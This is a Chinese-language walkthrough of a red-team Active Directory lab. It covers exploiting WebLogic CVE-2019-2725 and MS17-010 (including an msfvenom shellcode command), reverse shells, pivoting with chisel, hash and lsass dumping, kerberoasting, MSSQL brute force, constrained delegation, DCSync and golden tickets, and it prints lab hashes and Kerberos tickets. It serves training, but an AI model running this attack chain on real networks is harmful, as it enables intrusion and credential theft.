某内网域渗透靶场的writeup
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2021-11-27 09:15
某内网域渗透靶场的writeup
1.本文总计4346字,图片总计148张,但由于大量尝试环节,影响了看官体验,需要看官仔细看图以及文章内容,推荐阅读时间35-50分钟
2.本文系小离@Gcow安全团队绝影小组原创文章,未经许可禁止转载
3.若看官在阅读本文中遇到说得不清楚以及出现错误的部分请及时与公众号的私信联系谢谢各位师傅的指导
前言:
本靶场是由"渗透攻击红队"所制作的一个靶场,看了看感觉效果十分不错,比较综合且有一定的思路扩展性.这里我们将会从别的一些角度来玩玩这个靶场,具体往下看。
源作者的wp:https://mp.weixin.qq.com/s/dcYbIfLwN-Aw0Z9XxQSGkQ
Keep moving
1.本文采用 HTB/OSCP 的 Offensive style, 脱离CS, msf (msfvenom 不算)2.优先不走 EXP 路线3.靶场环境不能与实战相提并论4.且同时这是详细地记录了全过程针对于该靶场进行攻击.所以会有一些尝试与转换思路的部分.5.不喜勿喷
0x01 Enumeration
获取Target ip
pic1-获取Target ipnmap
pic2-nmap1pic3-nmap2尝试RPC匿名登录
pic4-尝试RPC匿名登录smb 匿名共享
pic5-smb 匿名共享获取目标有没有IPv6
pic6-获取目标有没有IPv6RPC获取内网ip (rpcmap ncacn_ip)
pic7-rpcmap ncacn_ip192.168.10.228
10.10.20.12
获取weblogic 版本
pic8-获取weblogic 版本weblogic scan
pic9-weblogic scan0x02 FootholdCVE-2019-2725 to get command execution
pic10-CVE-2019-2725whoami
pic11-whoamitasklist /svc resiult show me in wired way
pic12-tasklist /svc探测出不出网
pic13-探测出不出网1pic14-探测出不出网2Nishang
pic15-Nishang1pic16-Nishang2Got reverse shell
pic17-Got reverse shell1pic18-Got reverse shell2whoami
pic19-whoamiIP configuration
发现有另外一个网段
pic20-发现有另外一个网段Enable winrm to get a better shell
pic21-winrm to get shellUse reg save to dump hashes
pic22-dumphashKali box pop up a smb server
pic23-smb serverMount kali box share path
pic24-share pathSend it to me
pic25-send1pic26-send2Hash dump
pic27-Hash dumpccef208c6485269c20db2cad21734fe7
Login into winrm as Administrator
pic28-winrm to Administratorflag
pic29-flagDump lsass
pic30-dump lsass1pic31-dump lsass2pic32-dump lsass3pypykatz
pic33-pypykatzBut, I don't see any other credentials in dump file
pic34-weblogic credentials dump fileWeblogic password decryption: find out AES key
pic35-weblogic AES key_1pic36-weblogic AES key_2pic37-weblogic AES key_3{AES}1zzY2R1UMGFWfd1rAA92N2QljODSa8S16dJIsZZi/do=
Weblogic password decryption: decrypt with dat file
pic38-decrypt weblogic dat file_1pic39-decrypt weblogic dat file_2pic40-decrypt weblogic dat file_3Cleartext
weblogic123
Current credentials
administrator:ccef208c6485269c20db2cad21734fe7
weblogic:weblogic123
0x03 Lateral Movement
Find another machines
pic41-find another machines10.10.20.7
Upload portscan.ps1
(当然这里你也可以选择挂代理)
pic42-Upload portscan.ps1scan 10.10.20.7
pic43-scan 10.10.20.7135,139,445,49152,49153,49154,49155,49156
pivot
pic44-pivotupload chisel
pic45-upload chiselHandled a proxy on port 8100
pic46-proxy on port 8100proxychain
pic47-proxychainnmap scan target over socks5
pic48-nmap scan over socks510.10.20.7 report
pic49-10.10.20.7 reportNext Target
work-7.redteam.red
0x04 Work-7 takeover
Try to login rpc with anonymous user
pic50-login rpc with anonymous userLogin smb shares with anonymous user
pic51-login smb shares with anonymous userstart to scan vulnerability of port 445
pic52-scan vulnerability of port 445Got ms17-010 vulnerable alert
pic53-Got ms17-010 vulnerableSomething funny
用之前的密码直接shell了(但是这是作弊,不可取) 后面查看了一下,密码这块设计得不太合理
pic54-密码设计存在非预期缺陷1pic55-密码设计存在非预期缺陷2直接横向了
pic56-横向移动1pic57-横向移动2get system
pic58-get system回到刚刚,我们不选择作弊,查阅nmap结果,我们看到有ms17010
pic59-ms17010MS17010 without metasploit
原先想用window/exec,每次攻击完都会炸,我这边测得不行... msfvenom bind shell
msfvenom -p windows/x64/shell_bind_tcp LPORT=9001-f raw -o test.bin && cat sc_x64_kernel.b
in test.bin > sc_x64.bin
生成shellcode,并且merge with kernel header,然后send exploit,最后挂代理正向NC
pic60-生成shellcode 代理正向NCShell came back: 康康有没有域
pic61-wmic查看域本地先加hosts
pic62-本地加hosts看域控
pic63-查看域控获取域控ip
pic64-获取域控ip查看本机ip,有另外一层网络: 10.10.10.0/24
pic65-查看本机ipFile Transfer in work-7
因为有一层代理的原因,所以下载win7的东西比较麻烦,win7从我这拿东西也麻烦 回到入口机器,添加一个xiaoli,并且加入管理员组(你可以转B64传上去,也可以开匿名共享,随你喜欢)
pic66-创建一个用户并且加入管理员组wrok-7这边直接挂载入口机器的C盘
pic67-work-7挂载入口机器的c盘Hash dump
当前work-7机器的system有点智障,虽然有个seimpersonateprivilege,但是我也能加用户(如果你知道当前system的权限发生了什么,麻烦私聊告诉我一下)
pic68-reg save失败添加 xiaoli 用户,并且加入管理员组
pic69-添加账户加入管理员组添加上的用户没有显示pwned,非常奇怪,那也无妨,只是没有更好的 shell 而已
pic70-新添加的用户runas 登录上创建的xiaoli用户,执行命令并且写到C:\nani.txt
pic71-runas登录创建的账户查看C:\nani.txt,发现创建的用户privilege比现在多(对比分明)
pic72-查看nani.txtHash dump with runas
pic73-通过runas dumphash1pic74-通过runas dumphash1放回挂载的共享磁盘
pic75-放回挂载的共享磁盘接着再取回到kali本地
pic76-接着再取回到kali本地Got hashes (图中框错地方了)
pic77-Got hashes_1pic78-Got hashes_2[*]Target system bootKey:0x6f92d265d06097e1615a7c355022bc9f
[*]Dumpinglocal SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:e91d2eafde47de62c6c49a012b3a6af1:::
john:1000:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c:::
xiaoli:1036:aad3b435b51404eeaad3b435b51404ee:e91d2eafde47de62c6c49a012b3a6af1:::
[*]Dumping cached domain logon information (domain/username:hash)
REDTEAM.RED/saul:$DCC2$10240#saul#38df64c20e0fdadc85a421815ed5b011
REDTEAM.RED/Administrator:$DCC2$10240#Administrator#1ca30d7ae7506e6ca094794f8167f1e4
[*]Dumping LSA Secrets
其实可以使用进程注入,注入到有域凭据用户的进程,然而并没有
pic79-尝试进程注入窃取凭证,但是失败了Dump lsass
不太死心,dump lsass康康
pic80-dump lsass取回本地,minidump方式解开
pic81-minidump方式解开无其他用户了,顺便机器账户顺走
pic82-域内用户1pic83-域内用户2redteam.red\work-7$:f085f13639b3de3c78de926c0719d36d
Something makes me confused
这个应该算work-7的flag了,来saul用户桌面
pic84-work-7的flag_1pic85-work-7的flag_2txt里面说john是本地管理员,但是算了(可能是靶场环境问题吧....)
pic86-可能是靶场的环境问题0x05 AD enumeration
AD informaton gathering
system 请求网络资源用的是机器账户,直接康康域内基本信息
pic87-域内基本信息1pic88-域内基本信息2域控
pic89-域控OWA.redteam.red 10.10.10.8
域内两台机器,一台域控,算上自己,分别看IP
pic90-域内的两台机器-1pic91-域内的两台机器-2work-7.redteam.red 10.10.10.7
SQLSERVER-2008.redteam.red 10.10.10.18
OWA.redteam.red 10.10.10.8
基本操作
pic92-收集域内用户名net group"domain users"/domain
The request will be processed at a domain controller for domain redteam.red.
Group name DomainUsers
Comment
Members
-------------------------------------------------------------------------------
adduser Administrator apt404
gu krbtgt mail
saul saulgoodman SM_4c09f7e38ef84c22b
SM_645db7f160894c7fb SM_958e768f5a2e4c9fb SM_dfb6b69905864ca19
sqlserver
The command completed successfully.
看域信任,无子域
pic93-看域信任1 当然你也可以用powerview做信息收集,这边就不用了 2 实战的话,sharphound一般被杀得很严重,你可以远程执行bloodhound (ldapsearch with convertor),但是这边原先想直接上sharphound
看上去只有DotNET 3.5,目前只有sharphound2支持,sharphound2得弄一堆环境,懒了,看来只能远程bloodhound了
pic94-Net环境Multi-level pivoting (No Frp)
回到入口机器,把原来的chisel client关了,重新开一个带端口转发的(此时work-7会断开,小问题,重新打回去)
pic95-重新开端口转发work-7 开多一个shell,上面port 9002,下面port 9001,并且上传 chisel 到 work-7
pic96-开新shell接着,入口机器再开一个server(reverse proxy)
pic97-reverse proxy回到work-7那台机器,回连到入口机器
pic98-回连入口机器此时,本地访问8001就直接访问第二层了
pic99-本地访问8001修改proxy配置
pic100-修改proxy配置CME用机器账户登录一下域控的 LDAP 服务 ,已经到达了
pic101-机器账户登录一下域控的 LDAP 服务本地加hosts
pic102-本地加hostsBloodhound result analysis
Run bloodhound remotely
pic102-bloodhoundImport results
pic103-Import resultsShortest path to domain admins
pic104-Shortest path to domain admins最短路径到Sqlserver用户
pic105-最短路径到Sqlserver用户SPN Accounts
pic106-SPN Accounts获取 AS-REP Roastable users,并没有
pic107-获取 AS-REP Roastable users_1pic108-获取 AS-REP Roastable users_2kerberoasting attack
pic109-kerberoasting attack$krb5tgs$23$*sqlserver$REDTEAM.RED$redteam.red/sqlserver*$859542523a2e592829568bcf4b22adc7$bd544d4ce42f5c024184b2d61c42c8b0131edf5e161f36faf6cf5c9fea367c77907faca606bcb2d7ed5af99afeefef0fe1a6212639874834f1ea9226bd7c092a608b60f19b9442f64291c6c0bc8fa49ec4078ff597fdd69d5699ca1e9412cdd436c27977088ad8fb4863c8aabe4ccc080bebe8167d7907b7829f95aefdadb1a39e7ba276ecda0910bc363e3a45da7cbdec015487a9fff6dc57388855b71fb50536192cf22ecb341a1f9ae556b2a4fd52f52fd83cb9df27eefd0d54c22594bd41425fc30265789e26790e36066a67cfcf06343c43042940b97f5d659ef3fdbd13dd4db2199749190e1f9fb68c10116eb9889d54c1fc32c26d4f8e3e8b4075be4d09c30951550a611bbda43511c2d354e88c1eab79328fc4a79edd7b0adbaeeab175ce35c664935a58b25a2cb35c4a86c4f801678dbe9ae4b4c73af61998b063f1305a012164b5cbf556015b4d496dcf9d986e8c7d2ac70ade3a5103da73431e60b2b61f7821ead30734b6775c49ca895742f351bcfecad248e67ec3693466eccd30f4765ed083af1ecfec2d87e2859e85f84e3e941d821dfb7e5521aee38d709bcd541c6a1772a4c79e6fb5a55afcaedff6668a5667729473c801087725f30de6e2998f960d933e088febf7090f2fea71cf15d93850147d1d2e03db8d455ddba5af732128a7f852e52dc18bc9a70b9e9d9abb8e614206e2c3e728c20340cc0832f8297b0e8d72693cbcac8355da06c437dee968adea17338e4b934df96ff98b459cb78cd960015ef5295b62817ffe7a13121b674a3fb97dbbbcc1007397862dbd72a8c1047a9da618d3b96e444b0ce1868466ab91ffaadb2b7e3a81f35b343afa3396272dbaa8c8305414872ba668a206b326ce55213c5c50c551cd816ad6eed9739a009d088bb872e3853fffa7e3eaa982139587fa32bd06ef8b737d29cdc082a9a173989c8617917b3facb1e36cedd8774aa0c1756e76351162a6e3bfe4f2fa6bb9e88ae2c86fccfbc90050d867725b4f266048f7e6e9d1c296504c661883fac459f4e91e08dfc0bfd0c211541c16cb5e9ec30dffe99e326e7b3f8459d35b03a30847bd11a46e7ad77e096cce2a5a3cda1103615e307cfcaeffbb3febf795db58c16ecdfeeaa6fc003f308021594965f148f1163c739ad942050778cbe6e478114479c0cf69495c0f4831dea117ea9b90956c13a07edfcdf4c25d05087059106c11c195bc0412ad5dc8bc6b7159140c675f3e
$krb5tgs$23$*saulgoodman$REDTEAM.RED$redteam.red/saulgoodman*$7d30d61df9b0fd9ca713c72ef6588b24$6dde0c314f9935c81d5a448d041ecdb45d5b8eebe88c480c7862a2932da02c655857f3b6122dfce0ea886b7835c6d8adde421eb3e5a960a10f01fa4789ba45e585975b54b7f2407bc61f839f8e6c0273cb58973da3d0dce43ea3a875e7fd6fa054016eb816fdf257f6e94535943a0d7cb13c4932ec3f661daef56d61beb0340a21582c578e4ce6c1839b493444e03f11ea79d7db8d4b74b7750cf9cc8881f0825a04959083ed72d9b17c0dc00ae28b04f930a66c995bff65e8cfe8e5eb1863a7d5a1536888df99a55febb1dc0cc80a099304feb6b252d8a7bafdf23a139abe7c03daeed388de81aaa7d9456adb355827420b9996d2e2e8d3e7180788def64c76aa15a319f486d94154cdc1ee888b67fd5058177fe123d48e67489e48ba860d5e79152082537213ccbfa90372f20a66834f9c2d6ef786a63943d00c7eb5665e257c5e06e84979a5f9a9c532e2a8912e44f1e226b68db269d367456b13b35cbe1caceb76dc9b19ff5e805260df270993cd8dd84d17574f6d20075c3ceedd070e57311d7b2e10ec4d0c1e700da04c43c4761e37af15a2c2145f42ccec3d66c992f153928c6d906d3fcec038e4d81211bccac30ed729a31c02d009c055de21d528e491aa805cd2f487eaefad4aeecc8b9db72902ef092dd8de0a3f42b8098aa0de970dce4b682d0f54c7edeb492af23d3062d614da5cf7ef875dd09000d14a3fcecbee4197902bfae6cecd94820d3b2217d443795489581d100171bfb5b95948eb836b76097cc9b60b6adb97647e465c0e6bb571af2fe332e92cfb35b56a4d281adf831dc13c1c5886f245085372d463a15dae82a2748717783d4c3e9d163c022ede2862a4b306603e77b4245aa5b7fd5ce3e70c20e466828a4b4583701b41f917e287c1cdb9f72d1c14918861b7d3c1610e2fbd5c7169e764e5311e1083f47b82b37cfba3bdc94fee39ef5d65649871287b6e08f8c03942ae01e727e793bf70d793761c78732d80c00c22365642258630cb237dd348b7ea2ab408420583f5786f179967b47aab39cf497159ec80f06226b74b2d150a85d956ab3db79a605c59c03a5b97c8772f584b15a94af23d9ba9d9cd6cbc78a56af19ae22a8c2dda248d4a53b9dc48a7d040172c73bb3f887c6f188dc83d18a6925d019946d8675efbd848132ee35ad0616177fde20738d7e9765ff21cd2a4f092b07acbbcf91b9eed8d5fb12a9a4da07c5546c3dab03424888ec9a42616d0
不幸的是,我没有爆出来
pic110-很不幸没有成功当然如果你的字典有的话,那你可以直接跳到约束委派了
pic111-无字典悲换个思路
0x06 sqlserver-2008 takeover前面提到域内还有另外一台机器,Nmap 扫描 sqlserver-2008
pic112-Nmap 扫描 sqlserver-2008sqlserver-2008报告
# Nmap 7.92 scan initiated Thu Nov 11 13:16:29 2021 as: nmap -sC -sV -sT -Pn -oA sqlserver/nmap -vvv 10.10.10.18
Nmap scan report for sqlserver-2008(10.10.10.18)
Hostis up, received user-set(1.0s latency).
Scanned at 2021-11-1113:16:29 HKT for1132s
Not shown:988 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Microsoft IIS httpd 7.5
|_http-server-header:Microsoft-IIS/7.5
|_http-title: IIS7
| http-methods:
|SupportedMethods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
135/tcp open msrpc syn-ack MicrosoftWindows RPC
139/tcp open netbios-ssn syn-ack MicrosoftWindows netbios-ssn
445/tcp open microsoft-ds syn-ack WindowsServer2008 R2 Datacenter7601ServicePack1 microsoft-ds
1433/tcp open ms-sql-s syn-ack Microsoft SQL Server200810.00.1600.00; RTM
|_ssl-date:2021-11-11T05:36:06+00:00;+45sfrom scanner time.
| ssl-cert:Subject: commonName=SSL_Self_Signed_Fallback
|Issuer: commonName=SSL_Self_Signed_Fallback
|PublicKey type: rsa
|PublicKey bits:1024
|SignatureAlgorithm: sha1WithRSAEncryption
|Not valid before:2021-11-09T08:18:34
|Not valid after:2051-11-09T08:18:34
| MD5:8aaf87ec b5a3 8e9f c52f 80c544458e06
| SHA-1: c677 90ba d6fe 6da629de dae6 084449ce5c292f88
|-----BEGIN CERTIFICATE-----
| MIIB+zCCAWSgAwIBAgIQYGTu9bynvLtNoEYZlMAoWTANBgkqhkiG9w0BAQUFADA7
|MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjExMTA5MDgxODM0WhgPMjA1MTExMDkwODE4MzRaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
|AGwAYgBhAGMAazCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAl9gm+X/dC/ip
|WnxqzLJQThFXQvm+aUyEoYuf3ZhNZh/ogz/QYXP7yMmOYbaSlScb/kaj2sloI1ik
|3jJtVWvEpgV9bZQW5Eh2Hr/YKSTErpis+4+9N4afMopHQRRXdf+nnIQFXkE5wNXd
|021lhqggGPRVBv8iNf/jH5xvtkqFyK8CAwEAATANBgkqhkiG9w0BAQUFAAOBgQA7
| R9VTz2kwKwohCVgU4/nYH8VcuQazt8qA5/agD0b3iDzr3bPszKUqG3wLZc+sq1h6
| OWE7oPCMyfb4zSWFGqw3nFQ7xOs24RHYFNO3LngrLkwrhJmLGwIPdt5ELOv1n74H
|Hr46INlupWAYN/Ph+9i7PvZ1beLMh8c0wTCOkjwwWQ==
|_-----END CERTIFICATE-----
| ms-sql-ntlm-info:
|Target_Name: REDTEAM
|NetBIOS_Domain_Name: REDTEAM
|NetBIOS_Computer_Name: SQLSERVER-2008
| DNS_Domain_Name: redteam.red
| DNS_Computer_Name: sqlserver-2008.redteam.red
| DNS_Tree_Name: redteam.red
|_ Product_Version:6.1.7601
2383/tcp open ms-olap4? syn-ack
49152/tcp open msrpc syn-ack MicrosoftWindows RPC
49153/tcp open msrpc syn-ack MicrosoftWindows RPC
49154/tcp open msrpc syn-ack MicrosoftWindows RPC
49155/tcp open msrpc syn-ack MicrosoftWindows RPC
49156/tcp open msrpc syn-ack MicrosoftWindows RPC
49157/tcp open msrpc syn-ack MicrosoftWindows RPC
ServiceInfo:OSs:Windows,WindowsServer2008 R2 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
|CheckingforConficker.C or higher...
|Check1(port 57750/tcp): CLEAN (Couldn't establish connection (Nsock connect failed immediately))
|Check2(port 12518/tcp): CLEAN (Couldn't establish connection (Nsock connect failed immediately))
|Check3(port 11000/udp): CLEAN (Timeout)
|Check4(port 8803/udp): CLEAN (Timeout)
|_ 0/4 checks are positive:Hostis CLEAN or ports are blocked
|_clock-skew: mean:-1h35m17s, deviation:3h34m40s, median:43s
| smb-os-discovery:
| OS:WindowsServer2008 R2 Datacenter7601ServicePack1(WindowsServer2008 R2 Datacenter6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|Computer name: sqlserver-2008
|NetBIOS computer name: SQLSERVER-2008\x00
|Domain name: redteam.red
|Forest name: redteam.red
| FQDN: sqlserver-2008.redteam.red
|_ System time:2021-11-11T13:35:52+08:00
| ms-sql-info:
|10.10.10.18:1433:
|Version:
| name:Microsoft SQL Server2008 RTM
| number:10.00.1600.00
|Product:Microsoft SQL Server2008
|Service pack level: RTM
|Post-SP patches applied:false
|_ TCP port:1433
| smb2-security-mode:
|2.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used:<blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date:2021-11-11T05:36:00
|_ start_date:2021-11-09T08:18:45
Read data files from:/usr/bin/../share/nmap
Service detection performed.Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 11 13:35:21 2021 -1 IP address (1 host up) scanned in 1132.14 seconds
既然出题人那么喜欢ms17010,那我也来脚本小子一下,可惜并没有
pic113-尝试ms17010但是失败Try to login SMB shares with anonymous user
pic114-login SMB shares with anonymous userTry to login rpc with anonymous user
pic115-login rpc with anonymous user康康有没有别的ip段,或者看看有没有 IPv6
pic116-扩展一下别的段Port 2383
SQL之类的服务,那么我们现在康康端口80和1433
pic117-port 2383Port 80
web service directory brute force
pic118-web目录爆破Port 1433
看上去是一个老版本的 SQL Server(没有找 EXP) 尝试mssql爆破,impacket 和 CME 报错了
pic119-尝试mssql爆破-1pic120-尝试mssql爆破-2但是失败了
自己写的 MSSQL 爆破工具(找大牛加的多线程) 使用常用 mssql 用户名和密码(From seclist)
pic121-生成常用的mssql的用户名和密码爆破mssql,没有报错(展示)
pic122-爆破mssql爆破成功
pic123-爆破成功Try to get bind shell
登录,xp_cmdshell
pic124-xp_cmdshellPowershell Bind shell oneliner
pic125-Powershell Bind shell oneliner尝试连接,可以
Privilege escalation
Current privileges
pic127-Current privilegesDownload potato
pic128-Download potatoUpload it
(Sql server 连接脚本自带UPLOAD命令,原理:转b64 locally, 然后切割大小为1024kb,,再回到windows copy合成一份,接着再解密)
pic129-upload potatoTry to do privilege escalation and we get system (default clsid)
pic130-privilege escalationGet shell with system privilege
pic131-get system shellflag
pic132-get flagGet credentials
查看当前进程,当前进程有sqlserver的存在
pic133-sqlserver进程Upload procdump
pic134-upload procdumpdump lsass & hash dump through reg save
pic135-dump hash开SMB匿名,www目录我放不了文件,不知道为什么,放了进去没读权限,用户下不了。(icacls也试了,不行) 这边就直接绕路,用三好学生的匿名共享脚本 (我自己创建了个本地管理员用户,但是SMB连不上,所以才用匿名共享)
pic136-smb匿名共享1pic137-smb匿名共享2smb 下载文件
pic138-smb下载文件下载完成后,关闭匿名共享
pic139-关闭匿名共享secretsdump 解开reg save的hashes
pic140-secretsdump解reg save的hash解开lsass的dump文件,现在有sqlserver的凭据了
pic141-获取sqlserver的凭据_1pic142-获取sqlserver的凭据_2sqlserver:6a59bf65a4957ac67e5fb4e1c221939c
Login ldap with user: sqlserver
pic143-Login ldap(sqlserver)0x07 DC takeoverAttack path which I method
User: redteam.red/sqlserver is allow to delegate cifs service of OWA(DC controller)
pic144-sqlserver允许委派OWA的cifs服务Constrained delegation Attack
pic145-约束委派攻击DCsync
redteam.red\Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a67f14d5cc4fa22618c8b609e832db6:::
redteam.red\SM_4c09f7e38ef84c22b:1120:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
redteam.red\SM_dfb6b69905864ca19:1121:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
redteam.red\SM_958e768f5a2e4c9fb:1122:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
redteam.red\SM_645db7f160894c7fb:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
redteam.red\mail:1125:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c:::
redteam.red\sqlserver:1126:aad3b435b51404eeaad3b435b51404ee:6a59bf65a4957ac67e5fb4e1c221939c:::
redteam.red\saulgoodman:1128:aad3b435b51404eeaad3b435b51404ee:c0e1f147edf7462134f07e389c5466e2:::
redteam.red\gu:1129:aad3b435b51404eeaad3b435b51404ee:82a28aff9a3be5385b87c4928b54a66f:::
redteam.red\apt404:1130:aad3b435b51404eeaad3b435b51404ee:ba0b26eb2595bc0a639d986537433e5d:::
redteam.red\adduser:1131:aad3b435b51404eeaad3b435b51404ee:168df3659b5f75ab35645606839e5677:::
redteam.red\saul:1135:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c:::
OWA$:1000:aad3b435b51404eeaad3b435b51404ee:8623dc75ede3ca9ec11f2475b12ef96d:::
SQLSERVER-2008$:1127:aad3b435b51404eeaad3b435b51404ee:2dae08cafb67b4537b7d5871084c961d:::
WORK-7$:1138:aad3b435b51404eeaad3b435b51404ee:f085f13639b3de3c78de926c0719d36d:::
Golden ticket
pic147-黄金票据Finally
pic148-GOT DC最后1.Outlook邮服的那个攻击路径就不去试了,那个比较容易,知道有那样的洞就可以了,不然我直接zerologon就撸穿了(因为这是靶场)2.如果你有更好的攻击方法,也可以通过私聊与我分享3.大牛的github:https://github.com/n00B-ToT4.如果可以,也可以关注一下我的Github:https://github.com/XiaoliChan
Q&A:
1.Q: 为什么不选择用CS/MSF? A: 为什么我要用CS/MSF打靶场?2.Q: 文中的相关工具有链接嘛? A: 无3.Q: 为什么不用fscan呢? A: 自从看到某人用该工具疯狂扫内网之后,就不太想用了。工具很好,没问题,但是我觉得打靶场不需要4.Q: 为什么不用FRP呢? A: 个人不喜欢